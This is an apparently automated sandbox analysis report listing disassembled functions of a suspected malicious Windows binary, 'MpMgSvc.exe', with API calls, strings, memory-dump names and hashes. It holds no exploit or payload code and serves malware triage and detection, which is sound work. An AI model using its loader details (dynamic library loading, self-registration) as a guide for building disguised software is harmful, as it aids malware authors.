String ID: $
API String ID: 1807457897-3032137957
Opcode ID: ff0266cda33cd12464814e4c59c0e1e8cdab8a5db4e8a649dfc301d9da6b2a6c
Instruction ID: 28bb7502bfde482a5389f98c730008651affec05b7bc56763bfdcc635b826d1d
Opcode Fuzzy Hash: ff0266cda33cd12464814e4c59c0e1e8cdab8a5db4e8a649dfc301d9da6b2a6c
Instruction Fuzzy Hash: 93417B311042985EEB12C735CD5ABF73F99AB4A704F1805F6E589CB192C22949C887AB

Function 00414B25 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\exe1.bin.bak.exe,00000104,?,00000000,?,?,?,?,00412942), ref: 00414B48

Strings

C:\Users\user\Desktop\exe1.bin.bak.exe, xrefs: 00414B3C, 00414B46, 00414B6B, 00414BA1
h%^, xrefs: 00414B4E

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: FileModuleName
String ID: C:\Users\user\Desktop\exe1.bin.bak.exe$h%^
API String ID: 514040917-1118504019
Opcode ID: 4769b16a63140355166c3d34e7ccb70dbcdb765e32fd2296cc725c30ce891c6e
Instruction ID: ffe5810bbec1117319502247fd8dfb700bee33505628dea0febfd9037c42e512
Opcode Fuzzy Hash: 4769b16a63140355166c3d34e7ccb70dbcdb765e32fd2296cc725c30ce891c6e
Instruction Fuzzy Hash: 731154B2904118BFD711DF99CC81DDB77BCEB45358B0001ABF549D7201D674AE808BA8

Function 0040E5D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040E60C
MessageBoxA.USER32(00000000,?,error,00000010), ref: 0040E656

Strings

error, xrefs: 0040E64E

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Messagewsprintf
String ID: error
API String ID: 300413163-1574812785
Opcode ID: 4195320c901eff2fd6229a49ab24258e29060dd9ff847ee319a456a2469186e1
Instruction ID: 1346a0e94aacd7dddf1d07b0ef69645faec18257bd5fcae1dac14b654510cc08
Opcode Fuzzy Hash: 4195320c901eff2fd6229a49ab24258e29060dd9ff847ee319a456a2469186e1
Instruction Fuzzy Hash: 76019275600210AFEA249B55EC45BEB33A8AB95705F444C2DF989922C0F2F89D548BAB

Function 00412488 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000000), ref: 004124C1
GetSystemMetrics.USER32(00000001), ref: 004124C9

Strings

A%A, xrefs: 004124AA

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: MetricsSystem
String ID: A%A
API String ID: 4116985748-1731305220
Opcode ID: b14c51427c6bb487a81b0a86c7b10e778f7e8a741f5d97ce318bc148ec5f93db
Instruction ID: 45408805eb681888eb5bea86b8d2c2ae02773550e848b9f4f0d23b9cc60d6116
Opcode Fuzzy Hash: b14c51427c6bb487a81b0a86c7b10e778f7e8a741f5d97ce318bc148ec5f93db
Instruction Fuzzy Hash: 59F0543150434AEAC7219B319E006A7B6E0BFA0395F018C7FF495D6151D7BCD8E1DB59

Function 00421BEF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00421BF4
FreeLibrary.KERNEL32(?,?,?,00420AEB), ref: 00421C1D

Strings

B, xrefs: 00421C00

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: FreeH_prologLibrary
String ID: B
API String ID: 2785644155-2248957098
Opcode ID: f8381dd0a54469b707a1a462a805b05b9f6f469431f37b552c9d89588fd06e59
Instruction ID: 8a091e157b1f8551318bdccea1c0738f284703c60ee7c764a3878d021816cd58
Opcode Fuzzy Hash: f8381dd0a54469b707a1a462a805b05b9f6f469431f37b552c9d89588fd06e59
Instruction Fuzzy Hash: 64E09271A00730BBD721CF58E90179AB3F4EF48705F44455EA451B3240D7B89A008798

Analysis Process: MpMgSvc.exePID: 7432, Parent PID: 7712COMMON

Execution Graph

Execution Coverage:	16.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	879
Total number of Limit Nodes:	16

Executed Functions

Function 0042F8F0 Relevance: 15.3, APIs: 10, Instructions: 287
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(00000000,00CF5E88), ref: 0042F957
LoadLibraryA.KERNEL32(?,?,00D06260), ref: 0042FA49
LoadLibraryA.KERNEL32(?,?), ref: 0042FA8F
LoadLibraryA.KERNEL32(?,?,00D06168,00000001), ref: 0042FAD7
LoadLibraryA.KERNEL32(00000001), ref: 0042FAED
GetProcAddress.KERNEL32(00000000,?), ref: 0042FAFF
FreeLibrary.KERNEL32(00000000), ref: 0042FB92

Memory Dump Source

Source File: 00000015.00000002.4094624711.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.4094370094.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000CF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D06000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103180603.0000000000D22000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103422461.0000000000D23000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID: Library$Load$AddressProc$Free
String ID:
API String ID: 3120990465-0
Opcode ID: e06ca0f9afa4ea2afdf5ff9e8e772c7bc8d50128c7cb28961764fa1bf2cdf7cb
Instruction ID: 2561417c3c70ffbdb2520f9d3ff1630636e582c203d77f4705b5779b088f05ec
Opcode Fuzzy Hash: e06ca0f9afa4ea2afdf5ff9e8e772c7bc8d50128c7cb28961764fa1bf2cdf7cb
Instruction Fuzzy Hash: 22A1CFB1700711ABD714DF69D881B6BB7A8BF99714F84063EF85587340D738AA08CB9A

Function 0049CE6A Relevance: 15.1, APIs: 10, Instructions: 99
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.NTDLL(00D180A8), ref: 0049CE79
GlobalAlloc.KERNEL32(00002002,00000000,00C1EE4C,?,00D1808C,00D1808C,0049D205,00000000,00000100,0049CC58,0049C557,00498FC6,00000100,00498F5F,00C1EE4C,?), ref: 0049CECE
GlobalHandle.KERNEL32(01071DF8), ref: 0049CED7
GlobalUnWire.KERNEL32(00000000), ref: 0049CEE0
GlobalReAlloc.KERNEL32(00000000,00000000,00002002), ref: 0049CEF2
GlobalHandle.KERNEL32(01071DF8), ref: 0049CF09
GlobalFix.KERNEL32(00000000), ref: 0049CF10
RtlLeaveCriticalSection.NTDLL(00C1EE4C), ref: 0049CF16
GlobalFix.KERNEL32(?), ref: 0049CF25
RtlLeaveCriticalSection.NTDLL(?), ref: 0049CF6E

Memory Dump Source

Source File: 00000015.00000002.4094624711.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.4094370094.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000CF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D06000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103180603.0000000000D22000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103422461.0000000000D23000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID: Global$CriticalSection$AllocHandleLeave$EnterWire
String ID:
API String ID: 1877740037-0
Opcode ID: e40b31d899ce02504ffe7395bf6719841cbf227ea9be52b323a1be72afc5d5cf
Instruction ID: 350a3dfda2b528ee55411420feb2f7ff677d5129e935d7322600c96f41e9e0a7
Opcode Fuzzy Hash: e40b31d899ce02504ffe7395bf6719841cbf227ea9be52b323a1be72afc5d5cf
Instruction Fuzzy Hash: F031B2762003059FDB249F28DD89A2ABBE9FF45300B000A7EF852C36A1E775E8448B18

Function 004230B0 Relevance: 3.1, APIs: 2, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000015.00000002.4094624711.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.4094370094.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000CF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D06000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103180603.0000000000D22000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103422461.0000000000D23000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e72afb842c2371005aa260653b74bba4d886f46de198ca9ef78585be7d68c9b2
Instruction ID: f25a2d47ecd4e3618106aec82e9366be33df6837d90870dcece43e555cb6ee43
Opcode Fuzzy Hash: e72afb842c2371005aa260653b74bba4d886f46de198ca9ef78585be7d68c9b2
Instruction Fuzzy Hash: 732139B27007109FE720CF6AE884B53F7E8EBA0716B50892FE155C7611D379E915CB64

Function 00484995 Relevance: 1.6, APIs: 1, Instructions: 80
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,-0000000F,00493A86), ref: 00484A7C

Part of subcall function 0048A7B4: RtlInitializeCriticalSection.NTDLL(00000000), ref: 0048A7F1
Part of subcall function 0048A7B4: RtlEnterCriticalSection.NTDLL(00000010), ref: 0048A80C

Memory Dump Source

Source File: 00000015.00000002.4094624711.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.4094370094.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000CF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D06000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103180603.0000000000D22000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103422461.0000000000D23000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID: CriticalSection$AllocateEnterHeapInitialize
String ID:
API String ID: 1616793339-0
Opcode ID: 1a692aa81ab9fea867af2e52b4e65bc67794bba0c2c80c165be2f898a8f6c4e1
Instruction ID: ddc9723fdc22d03bd799971e2594746f39710e45092b4ba59e7d6f33d36bc9da
Opcode Fuzzy Hash: 1a692aa81ab9fea867af2e52b4e65bc67794bba0c2c80c165be2f898a8f6c4e1
Instruction Fuzzy Hash: 9521B532A40206EBDB14FBA9DC42B9EB7A4EB40B64F144917F420EF2D0D77C9942975D

Function 0048486E Relevance: 1.6, APIs: 1, Instructions: 75
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00493A86,00000000,00000010,?,?,00484A2E,00000009,00493A86,00493A86,?,00493A86,00000000), ref: 00484942

Part of subcall function 0048A7B4: RtlInitializeCriticalSection.NTDLL(00000000), ref: 0048A7F1
Part of subcall function 0048A7B4: RtlEnterCriticalSection.NTDLL(00000010), ref: 0048A80C

Memory Dump Source

Source File: 00000015.00000002.4094624711.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.4094370094.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000CF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D06000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103180603.0000000000D22000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103422461.0000000000D23000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterFreeHeapInitialize
String ID:
API String ID: 641406236-0
Opcode ID: e10ac70357451f6846b0203f387eac39c5ef20eac3616bd6a18a0a53f2f92e8a
Instruction ID: b672d72582d4429949194d42e0b8849d17d8b44c69439e6e974bc52150f053f4
Opcode Fuzzy Hash: e10ac70357451f6846b0203f387eac39c5ef20eac3616bd6a18a0a53f2f92e8a
Instruction Fuzzy Hash: 5C21C872801206EADB20FBA5DC01BDF7BB8EB45724F14092BF410A22D0D77C89409BA9

Function 00438370 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(01060000,00000000,?), ref: 00438381

Part of subcall function 0042FC90: wsprintfA.USER32 ref: 0042FCA2

Memory Dump Source

Source File: 00000015.00000002.4094624711.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.4094370094.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000CF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D06000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103180603.0000000000D22000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103422461.0000000000D23000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID: AllocateHeapwsprintf
String ID:
API String ID: 1352872168-0
Opcode ID: eac2fe3397b4350ef8212b7d98401436f88e5029e0306d13e90be656864e87a4
Instruction ID: 7a7975c6f67474d94fdd4c59159c43794988294d325d049c19666c989f05d80e
Opcode Fuzzy Hash: eac2fe3397b4350ef8212b7d98401436f88e5029e0306d13e90be656864e87a4
Instruction Fuzzy Hash: 3DE086B590020CFFCB00DF94E845B6E7778EB08710F004168FD0887300D676EE409795

Function 00438470 Relevance: 1.5, APIs: 1, Instructions: 18
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(01060000,00000000,00000000,00000000), ref: 00438498

Memory Dump Source

Source File: 00000015.00000002.4094624711.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.4094370094.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000CF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D06000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103180603.0000000000D22000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103422461.0000000000D23000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 27ed5c9c15a66ba17855e3e67074f57cd647b5d5afc9f8bb07d5b393e6c0e514
Instruction ID: b69e5d193210f6652b85e3cdedf85c5fd73aa4f20f2dadc4a816c4fe20bf541f
Opcode Fuzzy Hash: 27ed5c9c15a66ba17855e3e67074f57cd647b5d5afc9f8bb07d5b393e6c0e514
Instruction Fuzzy Hash: 4CD01275240208ABDB24DB54D985FA67799AB48344F008019B70D8A694EAF4E95087A4

Function 00498FC0 Relevance: 1.5, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringA.USER32(?,?,?,?), ref: 00498FD7

Memory Dump Source

Source File: 00000015.00000002.4094624711.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.4094370094.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000CF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D06000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103180603.0000000000D22000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103422461.0000000000D23000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 90d4dad6064493360db6123718462ec7a32972f0f8d941e8fd2761b5826f431a
Instruction ID: 7ec311469d0d7ab79827157e4faaf9c9cea9f49732755f3344ac3a891d27f1a8
Opcode Fuzzy Hash: 90d4dad6064493360db6123718462ec7a32972f0f8d941e8fd2761b5826f431a
Instruction Fuzzy Hash: 01D0A7760083619BCB01DF658808C4FBFA8BF59310B084C1EF49043111C324C444D765

Non-executed Functions

Function 00430670 Relevance: 18.3, APIs: 12, Instructions: 273threadwindownetworkCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00430695
IsWindow.USER32(000502A0), ref: 004306B1
SendMessageA.USER32(000502A0,000083E7,?,00000000), ref: 004306CA
ExitProcess.KERNEL32 ref: 004306DF
FreeLibrary.KERNEL32(?), ref: 004307C3
FreeLibrary.KERNEL32 ref: 00430817
DestroyCursor.USER32(0012049B), ref: 00430867
DestroyCursor.USER32(00150489), ref: 0043087E
IsWindow.USER32(000502A0), ref: 00430895
DestroyCursor.USER32(?), ref: 00430944
WSACleanup.WS2_32 ref: 0043098F

Memory Dump Source

Source File: 00000015.00000002.4094624711.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.4094370094.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000CF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D06000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103180603.0000000000D22000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103422461.0000000000D23000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID: CursorDestroy$FreeLibraryWindow$CleanupCurrentExitMessageProcessSendThread
String ID:
API String ID: 2560087610-0
Opcode ID: 9936227ab1dc9fae0041ed8dd3e7030b8206112748b8f5e6df67e0bb0f645e00
Instruction ID: 1b99211dc10cf19f11572c15cc8d0bdcbbda9f9630538a8dcda7a2a7476e89cb
Opcode Fuzzy Hash: 9936227ab1dc9fae0041ed8dd3e7030b8206112748b8f5e6df67e0bb0f645e00
Instruction Fuzzy Hash: D2B18AB02007019FD724EF69C9E5BABB7E4BF48304F50462EE5AA87381CB34B941CB59

Function 00430260 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 310libraryregistryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00D06090,00000000), ref: 00430344
LoadLibraryA.KERNEL32(?,?,00000000,?,?,?,00C1ECB0,?,?,?,?,?,?,00000000,00D06090,00000000), ref: 00430381
GetProcAddress.KERNEL32(00000000,DllRegisterServer), ref: 004303B7
FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,00000000,00D06090,00000000), ref: 004303C2
FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,00000000,00D06090,00000000), ref: 004303D0
LoadTypeLib.OLEAUT32(00000000,00000000), ref: 004304DD
RegisterTypeLib.OLEAUT32(00000000,00000000), ref: 00430512
UnRegisterTypeLib.OLEAUT32(?,00000000,00000000,00000000,00000001), ref: 004305F3

Strings

DllUnregisterServer, xrefs: 004303B0, 004303B5
DllRegisterServer, xrefs: 004303A9

Memory Dump Source

Source File: 00000015.00000002.4094624711.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.4094370094.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000C1B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000CF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D06000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4094624711.0000000000D1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103180603.0000000000D22000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000015.00000002.4103422461.0000000000D23000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID: Library$LoadType$FreeRegister$AddressProc
String ID: DllRegisterServer$DllUnregisterServer
API String ID: 3854050662-2931954178
Opcode ID: 716355eeb1d6d64ed5672aa0b76b824962f85360ddd2635ac98a7984b2ac1f04
Instruction ID: 207efe3603787618478c3416bfa382ab96157604c59fdfea1032364b66e014a6
Opcode Fuzzy Hash: 716355eeb1d6d64ed5672aa0b76b824962f85360ddd2635ac98a7984b2ac1f04
Instruction Fuzzy Hash: ECB1B2B1900209ABDF10EFA4C855FEE77B8EF55318F10462AF815A7281DB78AE05CB65

Function 0048F582 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 50libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,?,00000000,?,004882B0,?,Microsoft Visual C++ Runtime Library,00012010,?,00C11C14,?,00C11C64,?,?,?,Runtime Error!Program: ), ref: 0048F594
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 0048F5AC
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 0048F5BD
